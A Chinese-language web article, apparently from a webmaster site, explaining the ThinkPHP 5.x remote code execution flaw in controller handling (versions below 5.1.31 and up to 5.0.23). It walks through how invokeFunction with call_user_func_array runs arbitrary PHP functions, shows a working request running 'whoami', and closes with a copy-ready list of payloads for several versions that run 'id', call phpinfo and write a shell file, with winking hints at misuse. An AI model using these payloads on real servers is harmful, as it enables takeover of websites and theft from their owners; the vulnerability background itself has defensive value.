先來簡單說說前天thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell 影響的范圍: 5.x < 5.1.31, <= 5.0.23 漏洞危害: 導致系統被提權(你懂的) 這里附上一個自己測試的 thinkphp的 鏈接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22 先來講下,5.0 跟5.1的區別吧,tp5.1中引入了容器(Container)和門面(Facade)這兩個新的類 tp5.0是沒有這兩個新的類的, 漏洞原理 URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction 我們先來看看App類里的 exec函數里的執行分層控制器的操作 我們這里是把controller 的調用信息跟配置信息全部傳到了 invokeFunction 這個 執行函數里面去了 因為think\App是第二個入口,在tp運行的時候就會被加載 所以用think\App里面的分層控制器的執行操作的時候,需要去調用invokeFunction這個函數。 這個函數有兩個參數,如上圖所示,第一個是函數的名字,第二個參數數組,比如$function傳入BaiDu然后$vars傳入[12,555]就相當于調用BaiDu(12,555) 此處我們把function傳入call_user_func_array然后vars[0]傳入我們要執行的函數的名字vars[1]傳入要執行函數的參數,因為vars是個數組 所以此處我們的get請求需要這樣寫 [code] vars[]=函數名&vars[1][]=參數[/code]此處是利用php的數組注入 此時此刻就可以開始利用遠程代碼執行漏洞了 比如我們要執行system函數 他的參數是whoami http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 下面你懂的,作為一個接班人我們要做的就是修復他(為所欲為?),當然官方更新的最新版本是已經修復了的 這里就代碼執行成功,以下奉獻上tp不同版本的payload [code] ?s=index/\think\Request/input&filter=phpinfo&data=1 ?s=index/\think\Request/input&filter=system&data=id ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= ?s=index/\think\view\driver\Php/display&content= ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id[/code]以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持17站長網。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信